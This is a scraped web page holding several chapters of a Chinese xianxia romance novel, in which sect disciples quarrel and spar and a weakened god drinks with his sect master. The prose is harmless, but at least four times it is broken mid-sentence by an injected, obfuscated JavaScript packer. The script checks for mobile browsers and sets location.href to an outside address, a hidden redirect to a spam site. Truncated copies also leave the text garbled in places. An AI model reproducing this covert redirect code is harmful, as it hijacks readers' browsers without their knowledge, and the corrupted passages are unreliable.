於破岩使眼色,把冲矜拉过来,放低声音。 “令侄最近和什么人交往,你有留心过么?” 冲矜觉得他问的奇怪,但脸色依旧是平和温吞的:“於长老这话怎么说?” 於破岩委婉地提了有人因为冲华而想要调班的事,倒没有提是谁。 冲矜也惊讶,但是转身想去看冲华时,发现他早就不知踪影了。 他只好回身歉意一笑,应付於破岩:“家侄天真顽劣,多有麻烦於长老了。” 於破岩的余光其实瞥见了冲华的突然离去,又后悔自己是不是太唐突,听风就是雨,闹到老好人冲矜面前来,弄得不好收场。 当即也不敢多说什么,劝慰了莫名其妙的冲矜几句,就找借口抽身离开了。 大家私下都说跃沉和渊令这样的强者,不必经过考核就能拜入内门了。最近这样的风声势头正烈,谁都能听见。 冲华每天有一半时间,耳边就灌满了这样的声音。 不同于吴昼锦家里认为能进鼎元宗就是家族骄傲,不求他能如何出人头地。 冲华觉得自己在宗门却平平无奇,却总是让人戳脊梁骨说道—— “因为他是冲矜长老的侄子才能进来的,要不然怎么可能招他?” “他能会什么?全凭攀附强者罢了。说到底,人家俩人那么强,谁真搭理他?” 他的另一半时间就会听到这样的话。 渊令是担心自己把红莲纹面的事情说出去,耽搁他的前程吗?还特意找了於长老,又找到叔叔…… 讽刺。 冲华突然觉得全身的力气都被抽干净了,分毫不剩。他把药篓子推给随便哪个师兄,转身大步向田野迈去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245023|197859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 中午的太阳好刺眼,火辣辣烤在他头顶,烤干他满脸眼泪。 他眼前是模糊的,不知道自己走到了哪里。他穿过长满草药的田地、穿过齐腰高的月季花海,随便坐在田埂边。 这里一个人也没有,只能听到不远处竹林里的鸟叫。微风刮过竹叶,沙沙作响。竹林的阴影慢慢迁移,太阳没那么毒辣了。 冲华不知道自己坐了多久。 渊令也不知道自己在擂台上撑了多久。 台下还有大把的人排着队等着上台和他切磋。当然他打败的人也更多,都在旁边休整,旁观这场大戏。 他的双刀从始至终没有出鞘,纯粹依靠力量和技巧。随着刀背的劈砍终结每个人试图挑战的对局。 对面修士走上擂台,他使着一把重戟,紧紧盯着渊令,不敢轻敌。 可惜三两回合之间,渊令便对那人的破绽了如指掌。那人力气虽大,步法却并不灵活,长戟反而容易拖累他。 渊令故意用假动作,引他提戟刺向一旁,随即猛然挥刀,刀背狠狠敲到他的小腿上。 “啊——” 那修士痛呼,手中重戟锵然掉落在地,随即蜷起身体,捂住小腿。 满场寂静。 渊令垂下刀,连续的劈砍和集中注意力让他头昏脑胀,没有在劈上那人小腿前及时收住。 边上有些懂药理的修士涌上来,其中一个在那人的痛呼中摸了半天,抬起头。 “小腿折了。” 虽说术法能治骨裂一类的轻伤,但最好还是要用药,确保万无一失。 四字落地,他好像才被拉回这个现场,有点茫然地看着众人乱作一团,众人一拥而上,众人屏息凝神…… 众目睽睽。 “我去林钟岭拿药。”他听到自己说。 然后他逃也似的离开练功场。 鼎元宗每天傍晚都能见到火烧云,痛痛快快的一长条赤红横贯长空,却照不透山间微冷的雾气,沉郁的冷色缠住山峰,经年不去。 渊令走了很久。在林钟岭路上遇到过几个药学修士,都忙着手头的事,潦草给他指路后就离开了。 他从大路走上小路,一直走到身边一片花海,一个人都没有了。 渊令犹豫了一下,停住脚步,摘掉了面具。 沉重的银色假面离开他的脸,让出了一些空间给他喘息,好像打开了以前他给自己上的锁。 他转过岔路,前面是一片更大的花海。 一个人背对着他坐在田埂上,背影有点熟悉。 下一秒,冲华转过头,渊令刚来得及把面具合在脸上。 两人猝不及防对视,渊令的瞳孔倏然一紧,手上动作没停,迅速戴紧了面具。 但是冲华和早上的态度大不相同,只是很冷淡地转头回去盯着被火烧云染红的花海。 依稀传来平复抽泣的声音,渊令一动不动,僵直地注视着冲华把脸埋进膝盖。 他哪知道偏偏就这么巧,迷路了都能看到这么一出,想转头就走。 渊令冲动之下找了於破岩,其实也有点后悔,他犹豫再三也没动。 他心如乱麻,缠缠绕绕,不知想法。 反正绝对不是因为冲华才后悔的。 11. 法力失灵 “别哭了。” 渊令不会安慰人,只能慢慢走近,蹲下身和冲华保持视角平齐。 然后重复道:“别哭了。” 冲华的啜泣声低下去。 渊令在自己的视角里觉得自己很耐心:“走吧,我送你回去。一会儿天黑了,花田里会很冷。” 他伸出手。 冲华抬起头,直视着花田,不理会他。 渊令突然把面具扯掉,抬手扳过冲华的肩膀:“我说,我送你回去。” 冲华眼角处是哭过的艳红色。他皮肤白,眼眶骨骼处血肉也薄,红的明显。脸颊边还有没擦花的痕迹。 他开口的时候还有点哽咽,但是很快就把情绪囫囵吞了回去,霍然站起来。 “我会离你远点的,不用你亲自过来说。” 渊令:“我不是那个意思。” “我去找於长老只是说要调班,不是故意……” “哦。”冲华的语气冷极了,“你怕我这个关系户耽误你,当时进鼎元宗的时候直说就好了。不用这时候搞出这一套给我看。” 冲华甩开他的手,他无措地垂落双臂,盯着冲华走远了。 一周过去,冲华和渊令总能准确避开对方,即使上早功也坐的离对方远远的。 练功课上时常会有组队练习,大多数人都是室友结伴,但是冲华宁可和陌生同窗组队也不搭理渊令。 渊令更是破罐子破摔,轮到谁算谁。只是他下手格外狠,总是要等到别人都组完了队伍,最后剩下的才会嘀嘀咕咕地站到他旁边。 两人都极其别扭,谁也不肯先讲话。 四人碰巧同时在宿舍的时候,他们俩各自都会和跃沉、吴昼锦两人谈笑如常,只是对待对方时连个正眼都不肯给。 渊令躲躲闪闪,冲华反倒是面若霜雪。 吴昼锦平素大大咧咧惯了,虽然有时傲气跋扈,但却是个和事佬,很少和人闹别扭。此刻夹在两人之间宛如缩头鹌鹑,不敢多言。 跃沉刚搞明白状况,但是对人类的别扭和倔强劲儿还知之甚少,觉得这事还有点转机。于是试图同时和两个人说话,想让他们俩彼此也能说上几句。 结果渊令和冲华宁可把话断掉,也不肯开口和对方谈论同一话题。 跃沉和吴昼锦一致认为他们俩内部的事情应该内部处理,决定再也不掺和了。 让他们俩别扭去吧——晾一晾万一就好了呢。 “都过来抽签!”於破岩把签筒放在地下。 又是一节武学课。 一众新弟子唉声叹气,却不妨碍动作飞快,一拥而上,并暗自祈祷手气好一点,千万别抽到前两天在练功场“大开杀戒”的渊令和自带壁垒的跃沉。 渊令等别人都抽过了,才拿起最后一支签。 和冲华的是一对。 现场的空气都快凝固了。跃沉和吴昼锦对视,两人都从对方的表情中读出了惊恐。 於破岩也没料到偏偏就这么巧,有点犯难。他环视一圈,但是现在提出换人,搞不好又要出幺蛾子。此时已经骑虎难下,只好当作无事发生。 “你们俩第一组。” 渊令不无尴尬地望向冲华。冲华还是冷淡的,把他的剑从腰间解下来,紧紧攥在手里,主动往前走。 冲华本不擅长武力,几套拳法打下来都气喘吁吁,打渊令肯定是打不过的。但是渊令连刀都不解下来,只是背着手站在台上。 吴昼锦和冲华站在同一战线,觉得渊令多少有点不尊重人了。 一声哨响吹出。 冲华压着哨声的尾巴,一剑前刺。可惜渊令只是微微偏头就躲过了这一剑,剑刃刮起微风,擦着他的脸颊过去。 冲华瞪他,脚下步伐灵活,几次斜劈,剑气声轻鸣。渊令连刀都不拿出来,背着手后撤,躲他手里剑。 “嗤”一声,渊令的外袍被剑锋刮开,从左肩一路斜着划开到右胯,露出了隐约的肌肉弧线。 渊令摸了一把,没有见血,只是衣服豁开有些发凉。 他还戴着面具,别人看不见他面具下的表情,但是冲华能看到他的眼睛弯了弯。 这混蛋还笑? 剑柄磨手,冲华手心有点发烫,骨头却发凉。他横过剑,杀气腾腾。 渊令上前空手捏住剑身,手指侧拧夺了这把剑。力气之大,冲华还没反应过来,虎口一阵发麻,剑已经脱手了。 冲华挥拳上去,被渊令一掌接住,甚至有意无意往前扯了他一步。 冲华恼羞成怒,他讨厌渊令的态度——不可一世的、好像让着他了似的。 但是渊令的手指被剑刃刮伤了,皮开肉绽,鲜血汩汩流下,滴落地上,淋淋漓漓淌个不停。 “这局渊令胜。” 於破岩面无表情:“你们可以下来了。” 渊令仍然拿着那把剑,好像没打算还给他。 冲华不想再在台上杵着被人当猴看,终于不情不愿地憋出了一周多以来的第一句话:“剑还我。” 渊令装作没听清,正视他:“什么?” “我说,把我的剑还我。” 他眼睛紧盯着冲华,自己撕下一条衣服,包住手指。布条霎时鲜红,只是血珠不再往下滴落了。 “好啊。” 他说着,语气里带笑,然后摊开手掌,剑柄就躺在那只受伤的手上。 冲华低头,目视这一片血肉模糊,冷峻的表情没有丝毫松动,抓起剑,转身下台了。 渊令跟上他,慢慢合上手掌。 刚才冲华的手擦过了他的掌心——尽管只是轻轻的一下。 第一轮过的很快,於破岩又组织了第二次抽签。 渊令再次抽签,又是好巧不巧,和跃沉抽到了一组。 “他俩打一架,怕不是要拆了这练功场。” “赌不赌,谁能赢?” 别人看热闹不嫌事大,嗡嗡议论声一片。 跃沉心里一沉。 大概是没了昆仑山的圣泉滋养,也有可能是香火断了太久,来到凡间之后这几周他的法力直线下滑。现在再让他去对付问心湖的鬼尸,恐怕就并不容易了。 持械近战本来就不是他的长处,如今抽到了渊令,不由得有些汗颜。 跃沉没有自己带武器,在练功场边上现挑了一把鞭子。 渊令这回出手利索的很,杀意毫不掩饰,半点没有方才和冲华对局的缓和模样,分明是全力而出。双刀横扫,众人看去,只见眼花缭乱的亮刃闪烁。 跃沉挥起鞭子——这鞭子和他的骨鞭相比还是太轻。他抽上去,卷住了渊令的刀。 渊令不为所动。他力气很大,两刀反向斜抹,反而差点将跃沉的鞭子绞断。 於破岩在一旁抱手站着,看着两人有来有回。 跃沉以前在昆仑山时,虽然被王母娘娘划分到武神的队伍里,但他只用咒诀,很少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245024|197859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用过武器。 没香火的神原来还赶不上普通人呢。 他一面骨软筋麻地招架渊令的双刀,一面暗暗下定决心:一定要多凑点香火! 渊令两刀追上来,鞭子尾部被撕得分岔,可怜兮兮地拖在地上。 最后一刀斩在跃沉的鞭子上段,生生削断了,留了空柄在他手里。 底下嘀嘀咕咕的声音就没停过,跃沉很无奈地摊手:“我认输,我认输。” 渊令收刀回鞘,接受不远处於破岩赞赏的注视。 跃沉倒不以为意,下擂台后也无事一身轻。 冲华走近拍他肩膀:“借我张法力符,下午要去林钟岭帮忙伺弄草药,我怕我那点法力,到时候力竭倒在田里……” 跃沉笑着,随手画了一张锁灵符,要将自己的法力注入其中。这就是借法力,到时拿了锁灵符的人现从符咒中调用就好。 锁灵符的金纹闪了闪,没反应。 跃沉:“……”你等一下。 他再次尝试,金纹终于蜿蜒发亮,但是亮了没两秒钟,纹路就褪色黯淡——刚锁进去的灵力倒灌回来了。跃沉抿唇,心里咯噔一声。锁灵符虽然并不基础,但对以前的他来说实在是不费吹灰之力。 所以没香火影响这么大,连咒诀都用不好了吗? 跃沉垮了脸色,很惊恐地试了好几遍,都没成功。金纹总是亮了又暗,萎靡不振。 渊令的视线有意无意探过来,随即走来拿过了那张锁灵符,二话不说锁了法力。 然后他不知道给谁才好,拿捏着恰到好处的平淡神情,又摊开手掌。 冲华对这一招也无可奈何,只能抓起锁灵符转身就走。 跃沉站在人群外圈,找了块石头,试着控制法力打磨它。不试不知道,一试吓一跳,他的法力已经弱到连石头棱角都磨不平了。 要不回昆仑山附近修养修养?顺便找找自己的神庙,稍微修葺一下吧。 可是不知道鼎元宗这边让不让请假…… 不管了,要是再见到姜宗主,还是问一问吧。现在真是太弱了。 他沮丧地撤离,也不看路,在门口和人撞在一起。 “跃沉?” 正是姜庆临的侍从,见了他喜出望外:“正好,宗主大人传唤你。” 跃沉难得因为宗主传唤而感到高兴。 姜庆临坐在偏殿里等人,面前烤炉火炭都准备好了,甚至还准备了酒。 他自认已经摸清了跃沉的德行:光打听事情就油嘴滑舌,但是给吃给喝效果反而好得出乎意料。 他心情大好,打算借这次机会就把跃沉的真身问透。要是问还问不透的话,就只能带着他一起走一趟了…… 结果,跃沉垂着脑袋进殿了。 “姜长老安。” 姜庆临看他垂头丧气的样子就奇怪:“你怎么了?” 跃沉还沉浸在自己很多咒诀都用不了的悲痛之情中,有点没反应过来:“什么?” “你看上去可不太高兴。”姜庆临状似无意,偏头望他,“今天不是於长老的早功啊,你没迟到也没被罚。” 跃沉脸色僵滞。 堂堂宗主,每天已经闲到要关注每个弟子的早功情况了吗? “不是。” 跃沉觉得最近大抵是睡得太饱了,脑子昏昏沉沉不好使,一时间想编出个合适的借口请假,都编不出来。 对话尴尬地暂停了。 12. 原来是我 “其实没事,只是刚才在练功场比武输了。”跃沉调整表情,终于抬头。 姜庆临觉得很稀罕。一是能打败他的不多,那大概只有另一个新弟子渊令;二是跃沉那副做什么都吊儿郎当没兴趣的样子,很难想象他会在乎一场比武。 他懒得动的时候,输八百场都不在乎的。这回居然上进了,对输赢这么上心。 姜庆临觉得自己说些让他加紧勤奋练习的话,跃沉是绝对听不进去的。 于是道:“没关系啊,没受伤就好。” 跃沉:“……?” “不说这些。”姜庆临拿起火箸,笑着晃了晃,“烤肉吃不吃?” 跃沉和香火不够、自己比武还输了的悲伤故事斗争了几秒,最终屈服于烤肉配酒的幸福。 “吃。” 他很乖巧地凑上来,坐在姜庆临对面。 “喝过酒吗?” 跃沉老实摇头。昆仑山以前也有酒宴,但是他要么逃席,要么被建木百般告诫不准喝酒。 不知道人间的酒和昆仑山的差在哪。 姜庆临眼中浮现“得逞了”的笑意,拿起杯子斟满递过去让他尝。 “嗯?好喝……”跃沉的眼睛很明显地亮了,随即一饮而尽。 酒是桂花酒,藏琢峰上有几棵桂花树,每年姜庆临都要自己酿一批酒,储藏起来。他自己倒也不太喝,存了不少瓮,都没动过。 姜庆临给自己也倒了一杯,细品才发现这酒有些年头了,口齿间酒味醇厚。但是味道又不辛辣,喝着喝着就能把人骗晕。 喝晕了更好,套话方便。 但是姜庆临没想到,喝到第三杯,话还没说两句呢,跃沉就开始说胡话了。 “姜……姜长老,我想回昆仑那边一趟。” 跃沉歪头看他,手里的杯子攥得死紧,姜庆临一个不注意,他又给自己倒了一杯。 “什么?”姜庆临甚至怀疑自己喝蒙了开始幻听。 “我说,我想回家……” “别喝了!”姜庆临心道不好。 姜庆临起身站到他旁边,眼神垂落,投射安静而收拢的目光,俯视跃沉趴在桌案上的侧脸。 “你喝醉了。” 跃沉迷迷蒙蒙,姜庆临的声音忽远忽近,声调短长。他闭上眼睛,恍惚看见面前跪拜的人影近在咫尺。他彻底醉过去,意识潜入深渊。 “危在旦夕,立地焚香,神灵必降!” 人影虔诚念咒,伸出双手,手上血淋淋长满了眼睛,狰狞怒目。每颗眼球都是鲜红的眸子,穿越梦境,恶狠狠地瞪着跃沉。 跃沉在梦里好像恢复了法力,甚至比之前更强了。他觉得这小小方寸之地犹如他所造,一草一木皆可绝对控制。 他想念出咒诀,张了张嘴,却动弹不得,也发不出声。而面部僵硬犹如平面,失去了身体的概念——他在一块木板里。 是那块刻着“越宸,昆仑武神”的木板。 他在自己的神庙里。 面前是一片浓雾,看不到外面。他努力将视角下移,看到一个年轻女子跪在地上,正是那双骇人的手的主人。 她喃喃轻语,字句含混。只有“麓城”两个字被跃沉听清了。 女人很决绝地转头向外看了一眼,再次念出请神诀。外面的黑雾刮的更厉害,丝丝缕缕爬上她的小腿,并不断蚕食着她的躯体。 跃沉只能眼睁睁地看着黑雾慢慢吞没她。然后黑雾试探地靠近他的神相,但还没有触碰就畏惧地收了回去。 模糊的符文闪过,像雾里看花。 天旋地转。 “老姜,曲长老的卦象看上去不妙啊。”术星孤一看就是通宵观星了,眼角堆叠疲惫之意。 “你坐。怎么说?”姜庆临坐上主位,回头看了一眼卧房,“小声些。” 术星孤瘫在下首椅子上,看他动作,也往后看了一眼。可惜门掩着,中间又有屏风隔断,什么都没看见。 “有人?”她投视了一个揶揄的眼神,拉长腔调,“哦……挺行啊你。” 姜庆临敲敲茶桌:“说正事。” “嗯,就是曲增明那边情况不太妙。”术星孤说,“你还是早点去一趟吧,再磨蹭,等你到了就更不妙了。” 去年,姜庆临把鼎元宗另一位武学长老曲增明派出去打探消息。之前每半个月她都会稳定传信回来汇报情况,但现在姜庆临已经有一个多月没接到她的消息了。 曲增明以前就是情报贩子,行走江湖多年。姜庆临层层利益许诺,还救过她一次,她才肯进鼎元宗卖命,准确来说,给姜庆临本人卖命更准确一点。 “把他带上。” “谁?” “你知道我说的是谁。” 术星孤看都不看他,懒洋洋地直起上半身。 “情况不妙是怎么个不妙法?”姜庆临捏了捏眉心,眼睫微颤,借着抬手的动作掩饰神情。 “比较危险,但也不是没有转机。”术星孤说,“星盘一片模糊,对面也有玄学修士控制。事在人为,你们俩小心。” 跃沉觉得声音又近了很多,像是有人从水面上伸手把他拽了出来。隔云隔雾的感官终于肯传递清晰的声音和光影。窗纱外一片明亮,居然已经是第二天了。 “好,我知道了。”清澈的男声,好像是姜庆临? 他睁开眼睛,下一秒—— “醒了?”姜庆临推门进来,在床边坐下。 “没想到你酒量这么差。” 他对自己故意灌醉人的行为多少有点心虚。但是昨晚跃沉醉了之后就没再说过什么,只是重复了几句“我要回家”,任凭他问什么都答这句话。 听得姜庆临心里发慌,好像谁亏待他了似的。 藏琢峰侍从很有眼色地送来朝食,姜庆临怕他注意到什么异样,立刻招呼道:“起来吃饭。” 跃沉抱着被子,颇为惊恐:“我昨天就睡在这儿了?” 姜庆临:“不然呢?” “这可是你的床!”跃沉一脸震惊,“藏琢峰没有客房吗?为什么让我睡在这里啊?” 姜庆临:“……”你还知道这是我的床?我还没说什么呢。 他觉得自己被明里暗里嫌弃了。 那我能说昨天你喝的烂醉,扶都扶不起来了吗? 那我能说我昨天在床边盯着你盯了一晚上吗? 姜庆临:“客房很远,藏琢峰只有我这里一座宫殿。” “哦。” 跃沉坐起来,慢慢揉着太阳穴。宿醉让他昏昏沉沉,脑仁发胀。 “来喝粥。” “等等……”跃沉的意识回笼,一拍脑袋,突然想到了什么。 “完了!今天是於长老的早功!” 他跳下床就要开溜,速度之快让姜庆临目瞪口呆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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神仙不处理信徒祈愿,其实完全没关系,只是在民间的公信力会下降——哪有收受贡品声名还不帮忙办事的?久而久之就会没人拜祭,香火自然也少了,神明本人的法力也会愈见退步。 姜庆临想到这里,又有点怀疑跃沉——凭这家伙的懒劲儿,不搭理信徒的祈愿还玩忽职守的可能性确实很大。没了香火,法力越发孱弱,连渊令都打不过了,更像了! 他浓郁的探究目光投射到跃沉身上,跃沉似有所感地抬头望他。姜庆临赶紧装作无事发生,举着筷子夹了一块核桃酥。 退一万步说,就算跃沉真的就是那个昆仑山武神……那也是见死不救!什么神仙!他要告状给王母娘娘。 这个神仙当的太失职了。 “长老上次问我有没有拜过神,我也好奇,您有没有拜过神呢?” 姜庆临被跃沉的问题拉回当下,随即反应过来——哪壶不开提哪壶是吧? “拜过啊。”他故意道。 “当然拜过了,还请借过神力呢。当时我身后追了一大批风沙鬼,情况危急,差点就没命了。结果那个神没搭理我。哦,不对,应该是搭理我了,但是没借我神力,来了就又走了。” 说完,他有意无意地瞥了跃沉一眼。 “啊?没听到祈愿倒是常有的事情,”跃沉紧皱眉头,嘴里的糕点还没咽下去就开口,“但是显灵了还不借神力吗?那很坏了。” “那神什么名号?” “昆仑山一位武神,名不见经传,恐怕是个小神。” 跃沉在脑子里把他认识的容易鸽掉信徒祈愿的所有小神明的名号都过了一遍,晕晕乎乎的,但觉得谁都不能这么缺德,见死不救。 “谁啊?” “叫越宸。”姜庆临面不改色,瞟他一眼,“说起来居然和你的名字同音呢,也是巧了。” 13. 路遇旧友 跃沉心脏漏了好几拍,手一软,差点把粥碗扔出去。 什么?我吗? 鼎元宗宗主,天下第一炼器师,姜庆临,居然拜过我的神庙? 跃沉觉得自己要疯了。所以他之前说了那么多次拜神的事情,原来是在试探他,在找仇家吗? 绝对不能说出去。让姜庆临知道了他就不仅是暴露身份的事了,鼎元宗能不能接着留他都不好说。 跃沉抬头,乖巧一笑。 “那确实名不见经传,可能是小神明吧,我也没听过。” “您以后万一飞升了,也可以找王母娘娘告御状的。您要是还不解气,就说这个神玩忽职守,狠狠参他一本就完了。” 跃沉在一旁假装无事发生,提供建议。 他不知道姜庆临功力修为如何,但是他距离飞升大概真的不远……吧。姜庆临见他恨不得把王母娘娘的联系方式都抖露出来,心中怀疑稍减。 “那倒不至于。”他不紧不慢,“但是以后万一再有机会拜见,我得问一问原因。” “怎么来了又走,就是不帮我一把呢?” “可能是……没听到吧。” 其实他自己也不记得有这么一出。也许只是,他某个在浮光潭享受午觉的下午,半梦半醒,没有完全连上神庙;也有可能是听到了祈愿但是他又睡着了。 各种原因都会导致姜庆临这样的倒霉蛋没有被神注意…… “宗主,”於破岩气冲冲进来,一副怒不可遏的模样,“跃沉那家伙,居然又逃早功……” 跃沉正埋头缩如鹌鹑,老老实实吃朝食,闻言惊得抬头,正巧和於破岩对视。 “你……”於破岩活似生吞了恶苦的草药,脸色难看极了,“你怎么在这?” 姜庆临接话:“我让他来的。早功……不上就不上吧,”说着也不忘损他两句,“反正去不去都记不住什么。” 跃沉尴尬抿唇一笑,努力降低自己的存在感。 於破岩讪讪答应了,瞪了跃沉一眼,拂袖而去。 待於破岩走出去了,跃沉才笑嘻嘻地望姜庆临:“哦——原来姜长老也包庇弟子?” 姜庆临拈着丝帕擦拭唇角,闻言冷道:“谁包庇你?以后的早功都正常上。” “别啊!宗主大人高抬贵手,放过我吧!我真不想早起了。” “看情况。” 昆仑山脉万千座山,最中央的瑶池是西王母居所。宫殿楼宇巍峨,侍者静立,风平浪静。 白发女人一身鸦色绣金神袍,高高在上面目隐没。下首男人跪着,毕恭毕敬。 “王母娘娘,鄙人找到了一块遗落的天地髓,已经收来了。”他膝行上前,小心掏出锦盒,打开捧起。 女人看都不看他,手指缠绕白发,漫不经心:“放着。” 男人小心翼翼抱着盒子放在身前,又说:“还有一块天地髓,在昆仑山,您是否要取用?” 西王母好像才有了一点兴趣,略略低头,银鬓边华胜轻颤:“在昆仑?” 她笑笑,眉眼光影明媚。 “既在昆仑,便不必心急,总有拿回来的一日。” 她一面笑,一面唤男人的名字:“伯昏夷?我记得你是叫这个俗名吧?” 男人很荣幸似的,深深叩首,恭敬答是。 王母并不在意,问他:“我记得,你是飞升之后,自愿到我瑶池伺候,而不愿立庙。” 不等男人接话,她继续道,“但我现在要让你去找一座神庙。杀了那个闯进神庙的女人,把那两个不速之客也赶走,别让我们的秘密被发现。” “此次若能成事,我身边上神的位置自然有空缺,你也不必再叫这个俗名了。” 西王母扶了扶华胜,笑容平和:“明白吗?” 伯昏夷仿佛听到了天大的恩典。他爬上昆仑,杀了同行人,抛妻弃子,三魂七魄没了一半,人不人鬼不鬼。不就是为了成神? 他不光要成神,还要成为最顶级的御前上神,从今以后只有别人跪他拜他的份儿。 伯昏夷的眼睛里倒映出金玉砖地面的亮光,满满当当填着他的前程,装不下别的,也自然顾不上抬头看。王母的竖瞳诡异地一缩,唇角停在笑意。 “咱们非得这么早就出发吗?”跃沉空着手到约定的地方找姜庆临,发现他已经到了多时。 “卯时三刻,”姜庆临皱眉,“真的很早吗?” 跃沉还没睡够的不爽之意溢于言表,干巴巴地怼他:“是啊,不早。真是太晚了。” 姜庆临懒得斥他,转而道:“用日行千里的咒诀,会吧?” 跃沉点头。他前几天找了几件别的神仙不愿管的麻烦事做,高低给自己攒了点香火,虽说使不出什么大招术,但是出门一趟,应该还够。 但是他不想在这些闲事上浪费法力,干脆道:“宗门里没教过啊……姜长老带带我吧。”说着就轻轻拿起姜庆临长袖边角晃着。 姜庆临:“……” “抓紧了。” 他无奈收拢袖子,低声说。 不知过了多久,姜庆临收住法力,停下观望。 面前不远处战旗招展,无风自动,形成聚风聚水的法阵之形,百丈高的恢弘的城墙上端正隽永的字体赫然在目—— 昆仑城。 两人已经站上了进城的大道,脚下是汩汩流水的护城河,平稳长流。 两人跟着人群踏上护城河的石桥,跃沉立刻感受到灵力聚合——那石桥上的莲花纹雕塑工巧,灵动非凡,恍惚莫测,凡是有些修行的都能看出些门道。 似乎是保护防御的结界咒诀,荷花蕊处还隐隐约约画有几个字。 还不等他看清那几个字,姜庆临就带着他往前走。 鼎元宗的名号真是好使。 持矛守城的士兵连盘问都没有,见了姜庆临手里鼎元宗的玉牌就挥手放人。 人间三百年一次“炼炉”打开,百鬼出没,肆意夜行,屠杀作恶。靠的就是鼎元宗这样的门派撑着,一部分修士进入炼炉,提前杀鬼,保证人间安宁。 由此,民间对宗门崇拜有加,向来是有根基的普通人家子弟的“好去处”。 “不吃午饭吗?”进城后,跃沉问。 姜庆临:“你平时不念辟谷诀吗?” 跃沉一脸“你还不知道我”的表情看他。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245026|197859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >行吧。事实上,自从跃沉时常到藏琢峰蹭饭开始,他的辟谷诀也念不长了。 念了几天就又吃东西,最后他干脆也不念辟谷诀了。尘封了多少年的藏琢峰厨舍终于派上了用场。 俩人一路打听,找了昆仑城内一家生意最火爆的酒楼。 昆仑城每天人来人往,把店小二眼睛练得尖的要命。两人刚一坐下,店小二就凑上来。 “两位贵客吃什么?” “招牌菜看着上。” 姜庆临望向街边各色来往的人,似乎在辨认着什么,没空搭理他。 “是是是。”小伙子眼珠一转,鞠躬走开。 不多时盘子摆了满桌,店小二还殷勤端上一道松鼠鳜鱼,低声道:“二位客官,这是我们老板亲自做给二位的加菜,希望二位在昆仑一路顺利。” 跃沉云里雾里,一面用眼神瞟姜庆临,一面问:“你们老板?” 姜庆临不动声色。 “是,我们老板。”店小二声音更低了,“听闻二位来自鼎元宗,奉上好菜,是我们老板的待客之礼。” “你们老板是陈鹂?”姜庆临突然道,“能带我去见她吗?” 店小二愣了愣,请他们俩稍等,便退下去复命了。 一直等到两人放下筷子,他才又毕恭毕敬,请两人移步楼上。 跃沉好奇地用手肘碰了碰姜庆临。姜庆临则手掌下压,示意他稍安勿躁。 “陈鹂?”姜庆临望向房间里正喝茶的女人,“真是你?” 陈鹂盘着头发,衣装简朴,看面相并不年轻,声音却很敞亮。 “看一眼那松鼠鳜鱼,就没跑了。”姜庆临道,“你转行做厨子了?” “那当然,你也不看看老娘当年……”陈鹂说着,注意到跃沉在旁边不知所措地杵着,眼神立刻温柔起来,“哎呀呀,你终于肯收徒了?” 姜庆临摇头:“什么徒弟?一个麻烦精。” 跃沉很想大声说:“谁是他徒弟?”谁家收个神仙当徒弟的! 陈鹂没打算就这么放过姜庆临,一脸揶揄地笑着招呼跃沉喝茶,表情让跃沉莫名感到尴尬。 他被陈鹂往前拽,小心翼翼瞥了姜庆临一眼。 姜庆临抿着唇,又开始沉默,也不给他解围,任由陈鹂拉着他问东问西。他自己倒是喝茶喝的悠哉游哉,活脱脱是来享受的。 茶喝过半晌,他才道:“有没有兴趣把菜刀先放一放,跟我走一趟?” 陈鹂正问到跃沉在鼎元宗吃什么伙食,被打断后很是不爽:“开什么玩笑?跟你走,命没的可是真快……” 姜庆临向跃沉使了个眼色,作势起身要走:“那罢了。跃沉跟上,还得赶紧赶路呢。” 跃沉听他这句就不是要真走,结果姜庆临拉着他真下楼了。 “她都不挽留你吗?我以为你这么说,她要考虑一下呢。”跃沉被他一路拽下楼,匆匆跟上他的脚步。 然后,姜庆临一下子停住了,跃沉差点撞到他身上。 楼上传来喊声:“你等等!” 看着跃沉震惊的表情,姜庆临难得起了促狭的心思,幽幽道:“可能她反应的慢吧……” 14. 流沙地庙 陈鹂就这么加入了两人。她换了身衣服,一来就问:“老姜你少卖关子,咱们到底去哪里?” 姜庆临慢悠悠点燃一张符纸,黑烟逐渐变青,扭了半天,探出个箭头,向西方指去。 “往西走,我记得是流沙场。” 陈鹂沉默两秒,意味深长道:“你还真是哪里要命往哪里钻。流沙场的流沙群神鬼莫测,有什么宝物也怕没命拿。” “曲增明被困在这里了。”姜庆临丢给她一句话。 陈鹂瞪大眼睛,愤愤然道:“谁?曲增明?”她感叹着,“不早说。那我还非跑这一趟不可了。” 